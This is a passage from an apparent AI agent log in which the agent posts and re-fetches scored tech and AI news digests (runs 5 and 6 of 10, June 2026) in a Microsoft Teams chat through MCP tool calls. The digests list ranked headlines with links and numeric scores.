**21/35** (3+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[Unpatchable 'usbliter8' Exploit Breaks Apple A12 and A13 SecureROM Boot Chain](https://news.google.com/rss/articles/CBMigAFBVV95cUxPRzZ2bmt3eGxGSjZFZ3h4REkzUHVrb05oVlRUR3huNWFsdjV6LUx1ZDBrZndCclNaS1pDUTRjNUl3ZTZ4WFNiZFJsc1BNZ2NQZ0RYTXlXT1FOdE5MRFNYdGtaajVrTHR4YkdTaUNHcDFXbzJLb2RmMWhhV1RrUDRxRw?oc=5)** \u2014 **21/35** (3+2+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  10. **[4 paths to Frontier Transformation: From AI experimentation to real business value](https://news.google.com/rss/articles/CBMi3wFBVV95cUxQcTliU2ViTjJTa3NoeEVMNlZ6ckNySjQ3VDZoeEZhRlp1ZHpEdHBvSDQ4TVNub01uWEMtMEJrLXdKUmNNS2stbVpSSlhhYXIzYjlmekd0Nm1TUlZWYUVJODE2MjlqOGdwM3JHd0xTOFRwYTV4QjctSkM3NWwtWlE4MV90VTB3bTJvZDc4YXI5X3pXeGhxLVFNZlhvSW1fbURyMGQtVEhxd1Z3S1pZaUdfSmYzWjEyck50ZEhRb2xuSEZGN3Y3aWFpRkhnZndhVU8tRDd3dWRuTVU2cFdTZGFZ?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104228237?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104228237\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 5/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Tracing an AI Agent's Reasoning: Building Observability Into Your Pipeline](https://news.google.com/rss/articles/CBMimwFBVV95cUxPWkRNYWgxcXc5SFJNUWRMSThWSjJreTRCV1JQMGRuR0FvcHREX0NKcEdkalhtUWFGVUVlWVdlTGY3YzhxeWhNOEVsZ012bXl6MHFwUjhBNF9YSTRwb2laQWdKdHZ5YzgyY05ZTlVDcVRUSVNEQnRuMEd2bmUzYUk3cGttdUlDS3NYSlZLVHJxbFh6LWtyU3QxbzVxaw?oc=5)** \u2014 **22/35** (2+2+5+5+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[When I reject AI code even if it works](https://vinibrasil.com/when-i-reject-ai-code-even-if-it-works/)** \u2014 **22/35** (2+4+4+4+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[AI leaders at G7 push for US-led global coalition as governments race for tech sovereignty](https://news.google.com/rss/articles/CBMi1AFBVV95cUxNLUJnSTUwemY2MDVKQXZoWGJnZjF4SEJCZHpwWlVPNFNYNVhybzA1TkI5TV9rLVM2WW9IVFg0V2h2d3B0MUo4dVFRSHdycUhmcnUyV2FkdUtrR3dmMUR2VUw5U0kxN3FyVVNZVXJERVFkNzZFQjd5TG5neU9FNF9MZ0pfRzlOZllZSkJja0NJVTBkYVo4RnNsa1pYbUtVQkRBYkdIVGl1S1RQT0JGdmRYUV9SUy1nXzcycl8ydXZmY3RvMmtXZ3JTQnQ0Y0lFdHpjTXJPV9IB2gFBVV95cUxOT00zM3ZacWF6MU0yRUdDNVgtRjNjc3NEREZaWVRwMkUxZHJyTUF4alR0dzlrN2hnOFRSMkk3SHA4X0FSZEFXMzdOa0VYOW5UR2pNZ3kxYnI2TVhSTURjVV95XzR1Sk9MbkVEQ2hLUnRXMW9DTTNXSXNSaUZubkxucm9oT0dSU1pQWllSVmxiNmk4MDNsUDJRRkk1d2NjQWx5VlVKczJEMmxvY3VIMjhtbkdJNFdzMFBnejUzQnN4SEY5YTlhb0ZycW41dUcxV3BSVk56dkF6NzBFdw?oc=5)** \u2014 **21/35** (4+2+4+1+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  4. **[AI Regulation Should Be Rational, Not Retaliatory](https://news.google.com/rss/articles/CBMijwFBVV95cUxOeXZadEhFbDJwYW9reW9aLU9QNjZwV09pSkEyLUpZM1Y5UW41Mm55TlJvN2NuREk4cVVCeC1nMDcxSTFmc2xIT1hMZnhab3NHUE9kU3pmS0tJMkl6V1JTR2trdF9sRnpjWlR1Zy1oUjhQTmh1eWhuQ0twczRlNGx0UE1zcEQ3N0FJZEFjQ3ZYTQ?oc=5)** \u2014 **21/35** (3+2+5+1+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[Amazon investigating engineers who criticized AI data center expansion](https://news.google.com/rss/articles/CBMihgFBVV95cUxPN3BCZGNwWWowRVJKSUd5R2p1aWlqQU5sOV92bkIwTmJKZ2VyMmVxMFJkdHdDQWVxSnRxbVlBLXNfeW9JQVNnbEI3SEd6bjNUcTNYdDdUSlFPbVBLTll4SVFZcm5zN2NEWTE2cEhLcm9PVS1zaXNsZy1LMEdud3VFeG9Fd1pfUdIBiwFBVV95cUxPN0dUQUhRVWhaTHNaeGNRckNiRGtOM3QxakZ6WjFlSE5nQV9wejdfVTJfWkNkbXAzUW54b0twNXREUEhIYVVEMXdHZ2hGaU1EczZJdTVvbnZWYXliM3U0ZmNGYmpXeGpEOW1aSXJWRU5oNnFnOGN0OFhtX1Y5ZTdfN2JaaXlZXzBXcFBr?oc=5)** \u2014 **21/35** (3+2+4+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Meta signs new AI computing deals with data center firm Crusoe, Bloomberg News reports](https://news.google.com/rss/articles/CBMivwFBVV95cUxNY2hGMmJVYWZybndVbUpRZWtXdzlOdlpWQmZWTjd1Z1RIT3JLZEc5aFJSLXNjR0xVeXlybzFrTGpDclZOV043cEtkR1RaOGtDYzhrNWVaQmdTeFctUmtsV2NDcnBNNDZiLVJITHF2RDg0V0RTQlc4dGIxMEJrdUlUb0Ztd0RVeF9NWXJyVEZmMy05UkF5QVpzTTBqbVJKSVIwaXNFbnpsMGNtS3FzdVRnWEFnYWVlQjZpR1Vrc1pEZw?oc=5)** \u2014 **21/35** (3+2+4+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  7. **[Nvidia breaks into healthcare industry, announces new AI model in partnership with Abridge](https://news.google.com/rss/articles/CBMilAJBVV95cUxNcTBoRE16RC1WcE0tNUZqMUZWQ2lQLWh3YW1jTHpvMXVTOFhmOTlVRkc0ZVlYTjNzb1NnZ0RDRk9RaEt4dS1FdFd3MFR1MFEyM0MtbGc5a3lWLXBLb2g3Z3B5b1ZCdkZRQ09jSnpJTU5ZNDMwODEyQlNzNks3cEk5RXVBbU5EekEzMFFjcjJKSHR3X3kzcGZkM0hER0ZtdVhWWDdDaERMcDZRREFBTnBaX3FLd1BQTGR1dklNckxWd3dlX0Y0Qmtxa0htU0d5NFlvT0liOXg3Mnd6M09oaXo3SWtESGt5ZTVfSVFWb1pzSk9MV05qQ0NPZHZMdzVmTUFka2V4aVkzSEZBcUJKNWJUZ0pMVnA?oc=5)** \u2014 **21/35** (3+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[This tiny AMD PC just ran a massive 397B AI Model that required a server room full of GPUs a year ago](https://news.google.com/rss/articles/CBMiywFBVV95cUxNbzJsaENrVWl1Z3pROFJHNUFhRmRsTFd6RkNsbUNEaW5id2ZGNHV1c04xZV9oYnJ2aHZxcXVSSWljLVJTWkM4ZWtyV1c1Ukl3d2F1MXQ2cW1IMUxoYXlvTVVLbWhLNGxYdnhnSnAzckEyZnJZMFkySzBSaXk3b3FTTnFIOW9JWEs4VllDNUVQbzVSekE1UVVLSWswQnFuSWVrUDAxWks1UXZZZklWUW5DQkNXWTJWMnctZmZUWlAxQVFqY1FyRG1tMGZfOA?oc=5)** \u2014 **21/35** (3+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[Unpatchable 'usbliter8' Exploit Breaks Apple A12 and A13 SecureROM Boot Chain](https://news.google.com/rss/articles/CBMigAFBVV95cUxPRzZ2bmt3eGxGSjZFZ3h4REkzUHVrb05oVlRUR3huNWFsdjV6LUx1ZDBrZndCclNaS1pDUTRjNUl3ZTZ4WFNiZFJsc1BNZ2NQZ0RYTXlXT1FOdE5MRFNYdGtaajVrTHR4YkdTaUNHcDFXbzJLb2RmMWhhV1RrUDRxRw?oc=5)** \u2014 **21/35** (3+2+1+1+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  10. **[4 paths to Frontier Transformation: From AI experimentation to real business value](https://news.google.com/rss/articles/CBMi3wFBVV95cUxQcTliU2ViTjJTa3NoeEVMNlZ6ckNySjQ3VDZoeEZhRlp1ZHpEdHBvSDQ4TVNub01uWEMtMEJrLXdKUmNNS2stbVpSSlhhYXIzYjlmekd0Nm1TUlZWYUVJODE2MjlqOGdwM3JHd0xTOFRwYTV4QjctSkM3NWwtWlE4MV90VTB3bTJvZDc4YXI5X3pXeGhxLVFNZlhvSW1fbURyMGQtVEhxd1Z3S1pZaUdfSmYzWjEyck50ZEhRb2xuSEZGN3Y3aWFpRkhnZndhVU8tRDd3dWRuTVU2cFdTZGFZ?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104228237?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:08.237Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104228237?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 6/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nAdobe Brings Its Firefly AI Creative Agent Directly Into ChatGPT And Claude \u2014 21/35 (2+2+5+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nAzure Functions Ships Serverless Agents Runtime at Build 2026 \u2014 21/35 (2+5+1+5+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nClaude Fable 5 on Bedrock Requires Sharing Inference Data with Anthropic \u2014 21/35 (2+2+5+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nFrance and Germany Boost Digital Sovereignty Push \u2014 21/35 (2+4+1+1+4+4+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nGoogle, Microsoft Back Draft AI Agent Discovery Spec \u2014 21/35 (2+2+5+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nIBM Engineering AI Hub 1.3 helps engineering teams scale governed agentic AI across the lifecycle \u2014 21/35 (2+2+5+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nIntroducing Ask Ad Manager, the AI agent that will help you get more done \u2014 21/35 (2+2+5+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nWelinq and OVHCloud Partner on Networked Quantum Computing Architectures \u2014 21/35 (2+4+1+4+1+4+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nWhen to use Claude memory, Oracle AI Agent Memory, and LangChain together \u2014 21/35 (2+2+5+1+1+5+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nBanning Open Source AI Would Be A Mistake \u2014 20/35 (3+4+4+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104229841\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104229841\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104229841?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:09.841Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 6/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Adobe Brings Its Firefly AI Creative Agent Directly Into ChatGPT And Claude](https://news.google.com/rss/articles/CBMixwFBVV95cUxNZkhhRE04U0RsRHJCa3RoaE8wT04zZXVJc1JlNWtmMHVqWWFTbVoxYnJudHNvamlyMm1tWkdnZkVMYzFkbTJzMkg4UTRXSk9NVWt1blYwVUdUbDF0Zy0tQ1lHN2QxTTJMcjQ4NVFneXc1R3dlOGJYbUtzMkxOYzREbmY4MTJIcTltSm9uNW9CTmlRRVZXblZKeU1SeHZ5a19OSEFPOEZYcDRkakE5SUlfbi03Uk9aLVFMUF93SkZaUlR6Zm9GT2Rv?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Azure Functions Ships Serverless Agents Runtime at Build 2026](https://news.google.com/rss/articles/CBMid0FVX3lxTFBCOElrWEVkSnVJY0FIcmpSVTl1eHZRRXZHOHVYWXNRT2RWMTU3QlpCM2UwcVc5Mzd6SDY1TXg1QkdETFpRMlpkOHo0czhrbzhGRmZvdmNRS202ZHVxMXZxaGdfbWx5cVIxQmg3V2NBQldaUEZNMTlv?oc=5)** \u2014 **21/35** (2+5+1+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[Claude Fable 5 on Bedrock Requires Sharing Inference Data with Anthropic](https://news.google.com/rss/articles/CBMickFVX3lxTE5zX04xd0ZSdENqUDEzZlcyN2g4bVBRR01fOC1JQXlrXzJSNVhfSGdRME1zOVlvRmFvd0F2clZEa05ERXREa3NvRjRwZlZzOGVkeFFBLUgxX3QwWVJzU1VmbFVaY2JUQ2RaenVJQWFtZXlkZw?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  4. **[France and Germany Boost Digital Sovereignty Push](https://news.google.com/rss/articles/CBMijwFBVV95cUxPczU4bzRUSVpDVzJDbndjajFjZ0FiZS0tS0Z3dXludTJ5SGxzR2laYVJFMEFrQzFxVWNPcWN3NVJQVHFqUThuWmVJWDFTS0NDR2xrNTZ6YTVJMU1lWkxxN1FfTm1ya3hsYWpSNG1wU29Ha1Z4dExBYjFrcW9kOXJqdWYwSi1heF9WampCODJCWQ?oc=5)** \u2014 **21/35** (2+4+1+1+4+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[Google, Microsoft Back Draft AI Agent Discovery Spec](https://news.google.com/rss/articles/CBMimwFBVV95cUxQU3dpcmFvbjB5S1IzWm51dWdBWG1OLTB2RGNUQUVRWkNObGJEbGdlNVllQ21LcXlzVTlJNFZDNFRieWNOb19MeE9teURwdHVtbkRyMmhpaU12YlNtTlRpdWttNzBWWjVRbUtESE5XYzdIQllzMW4wQk5ROWFWa2tTY1FBU3NHYTA0ZVhFbmt0dmdmN1RGYXJadFMtbw?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  6. **[IBM Engineering AI Hub 1.3 helps engineering teams scale governed agentic AI across the lifecycle](https://news.google.com/rss/articles/CBMi0AFBVV95cUxQR0tFRTRnanZNRXhBRUR6ZTNSdmNFb3ozdTMzaE1Bam9BXzMxSWdHZ1FYdjVlTG43RWpkRXBEak5NM09RMFNJd0RxOFBGOHhGRnFSTjlYQUlBcGRIRE9CWTNrMGxwMjVUd3lSRmlpdWdfMVZEYzVMd2oyQjd1bHgyNS1MZXdYalJEVWlEY0NieWpMSGNaaGUzVmUzZlJFS0NNZ1I4SWpqZjA5ckNyelVKVjlPWlV6LU93R0FvWE56aWFGMzducDZyelUtNk5TRTdI?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  7. **[Introducing Ask Ad Manager, the AI agent that will help you get more done](https://news.google.com/rss/articles/CBMiZEFVX3lxTE1Md2lNTGRvWXp4dTE0MVUzNmthX1ZNckkzTkd2TFo5ME9jN1FtUGNwLV80TTBoczgtaVl1dTYzbzRGMnU0eE9BbzRDNTBKeVFreWl2OUUyN1dRcjJ6Q3BZMW5kU1k?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[Welinq and OVHCloud Partner on Networked Quantum Computing Architectures](https://news.google.com/rss/articles/CBMitAFBVV95cUxNVzFocm5mVllEc1J3eDVSbVdzWlNGb3dYY2hiSG81cmdDVDM3dkkwWmJ5RFdBeWJQb2pjTFY4Skl4bjJ3OWc3cTlQMEY4ZmVHZ0NTUU1obzdIam9sVmx1Ul9ObjZrenNPNGFLVFUxYTI4RW9ldDV0R0lHOGxyWjJtRlYtY1ZjQlV0NC1IdlJkbHV3LVVsSU1NTFU5NjB5U3d3c1NibmlQQ3AwVE9GU0RsLTgyWEM?oc=5)** \u2014 **21/35** (2+4+1+4+1+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[When to use Claude memory, Oracle AI Agent Memory, and LangChain together](https://news.google.com/rss/articles/CBMiqwFBVV95cUxQWEVUdDVndUpDN3VPQnlqMkFyWDdKQlJOVmZXR2wzSVRHNUJUM2VKcmwzQ1JaUURsVWozYURKelF5cXdfYmJFUlF6aVlYbHNBRzByRXYyZzJ2M2tpUURpdEptRFAwRzZnYnNXaVowb1huWkVFcWlTZE5nMHFMTTlKTXBDSk9MWEVpQmZNc3A2VG0wUnVaNGV2aUZTOHJrN2kwSWFFQ0FqamdEalk?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[Banning Open Source AI Would Be A Mistake](https://news.google.com/rss/articles/CBMickFVX3lxTE1vMEVpTDZzNGt3QmNVSVZjZXk3UDJQQWh5cnJEbTBxMnVmbV9MNDhnbllHWDBzRVIzTjh0dG5ROURaMl9ISlBsZ3ZPOHQ0WVc2cTFDalZPQjRMN3dCdTFzbnBxYzRta2xXaWk4THV5Tk9Wdw?oc=5)** \u2014 **20/35** (3+4+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104229841?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104229841\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 6/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Adobe Brings Its Firefly AI Creative Agent Directly Into ChatGPT And Claude](https://news.google.com/rss/articles/CBMixwFBVV95cUxNZkhhRE04U0RsRHJCa3RoaE8wT04zZXVJc1JlNWtmMHVqWWFTbVoxYnJudHNvamlyMm1tWkdnZkVMYzFkbTJzMkg4UTRXSk9NVWt1blYwVUdUbDF0Zy0tQ1lHN2QxTTJMcjQ4NVFneXc1R3dlOGJYbUtzMkxOYzREbmY4MTJIcTltSm9uNW9CTmlRRVZXblZKeU1SeHZ5a19OSEFPOEZYcDRkakE5SUlfbi03Uk9aLVFMUF93SkZaUlR6Zm9GT2Rv?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Azure Functions Ships Serverless Agents Runtime at Build 2026](https://news.google.com/rss/articles/CBMid0FVX3lxTFBCOElrWEVkSnVJY0FIcmpSVTl1eHZRRXZHOHVYWXNRT2RWMTU3QlpCM2UwcVc5Mzd6SDY1TXg1QkdETFpRMlpkOHo0czhrbzhGRmZvdmNRS202ZHVxMXZxaGdfbWx5cVIxQmg3V2NBQldaUEZNMTlv?oc=5)** \u2014 **21/35** (2+5+1+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[Claude Fable 5 on Bedrock Requires Sharing Inference Data with Anthropic](https://news.google.com/rss/articles/CBMickFVX3lxTE5zX04xd0ZSdENqUDEzZlcyN2g4bVBRR01fOC1JQXlrXzJSNVhfSGdRME1zOVlvRmFvd0F2clZEa05ERXREa3NvRjRwZlZzOGVkeFFBLUgxX3QwWVJzU1VmbFVaY2JUQ2RaenVJQWFtZXlkZw?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  4. **[France and Germany Boost Digital Sovereignty Push](https://news.google.com/rss/articles/CBMijwFBVV95cUxPczU4bzRUSVpDVzJDbndjajFjZ0FiZS0tS0Z3dXludTJ5SGxzR2laYVJFMEFrQzFxVWNPcWN3NVJQVHFqUThuWmVJWDFTS0NDR2xrNTZ6YTVJMU1lWkxxN1FfTm1ya3hsYWpSNG1wU29Ha1Z4dExBYjFrcW9kOXJqdWYwSi1heF9WampCODJCWQ?oc=5)** \u2014 **21/35** (2+4+1+1+4+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[Google, Microsoft Back Draft AI Agent Discovery Spec](https://news.google.com/rss/articles/CBMimwFBVV95cUxQU3dpcmFvbjB5S1IzWm51dWdBWG1OLTB2RGNUQUVRWkNObGJEbGdlNVllQ21LcXlzVTlJNFZDNFRieWNOb19MeE9teURwdHVtbkRyMmhpaU12YlNtTlRpdWttNzBWWjVRbUtESE5XYzdIQllzMW4wQk5ROWFWa2tTY1FBU3NHYTA0ZVhFbmt0dmdmN1RGYXJadFMtbw?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  6. **[IBM Engineering AI Hub 1.3 helps engineering teams scale governed agentic AI across the lifecycle](https://news.google.com/rss/articles/CBMi0AFBVV95cUxQR0tFRTRnanZNRXhBRUR6ZTNSdmNFb3ozdTMzaE1Bam9BXzMxSWdHZ1FYdjVlTG43RWpkRXBEak5NM09RMFNJd0RxOFBGOHhGRnFSTjlYQUlBcGRIRE9CWTNrMGxwMjVUd3lSRmlpdWdfMVZEYzVMd2oyQjd1bHgyNS1MZXdYalJEVWlEY0NieWpMSGNaaGUzVmUzZlJFS0NNZ1I4SWpqZjA5ckNyelVKVjlPWlV6LU93R0FvWE56aWFGMzducDZyelUtNk5TRTdI?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  7. **[Introducing Ask Ad Manager, the AI agent that will help you get more done](https://news.google.com/rss/articles/CBMiZEFVX3lxTE1Md2lNTGRvWXp4dTE0MVUzNmthX1ZNckkzTkd2TFo5ME9jN1FtUGNwLV80TTBoczgtaVl1dTYzbzRGMnU0eE9BbzRDNTBKeVFreWl2OUUyN1dRcjJ6Q3BZMW5kU1k?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[Welinq and OVHCloud Partner on Networked Quantum Computing Architectures](https://news.google.com/rss/articles/CBMitAFBVV95cUxNVzFocm5mVllEc1J3eDVSbVdzWlNGb3dYY2hiSG81cmdDVDM3dkkwWmJ5RFdBeWJQb2pjTFY4Skl4bjJ3OWc3cTlQMEY4ZmVHZ0NTUU1obzdIam9sVmx1Ul9ObjZrenNPNGFLVFUxYTI4RW9ldDV0R0lHOGxyWjJtRlYtY1ZjQlV0NC1IdlJkbHV3LVVsSU1NTFU5NjB5U3d3c1NibmlQQ3AwVE9GU0RsLTgyWEM?oc=5)** \u2014 **21/35** (2+4+1+4+1+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[When to use Claude memory, Oracle AI Agent Memory, and LangChain together](https://news.google.com/rss/articles/CBMiqwFBVV95cUxQWEVUdDVndUpDN3VPQnlqMkFyWDdKQlJOVmZXR2wzSVRHNUJUM2VKcmwzQ1JaUURsVWozYURKelF5cXdfYmJFUlF6aVlYbHNBRzByRXYyZzJ2M2tpUURpdEptRFAwRzZnYnNXaVowb1huWkVFcWlTZE5nMHFMTTlKTXBDSk9MWEVpQmZNc3A2VG0wUnVaNGV2aUZTOHJrN2kwSWFFQ0FqamdEalk?oc=5)** \u2014 **21/35** (2+2+5+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[Banning Open Source AI Would Be A Mistake](https://news.google.com/rss/articles/CBMickFVX3lxTE1vMEVpTDZzNGt3QmNVSVZjZXk3UDJQQWh5cnJEbTBxMnVmbV9MNDhnbllHWDBzRVIzTjh0dG5ROURaMl9ISlBsZ3ZPOHQ0WVc2cTFDalZPQjRMN3dCdTFzbnBxYzRta2xXaWk4THV5Tk9Wdw?oc=5)** \u2014 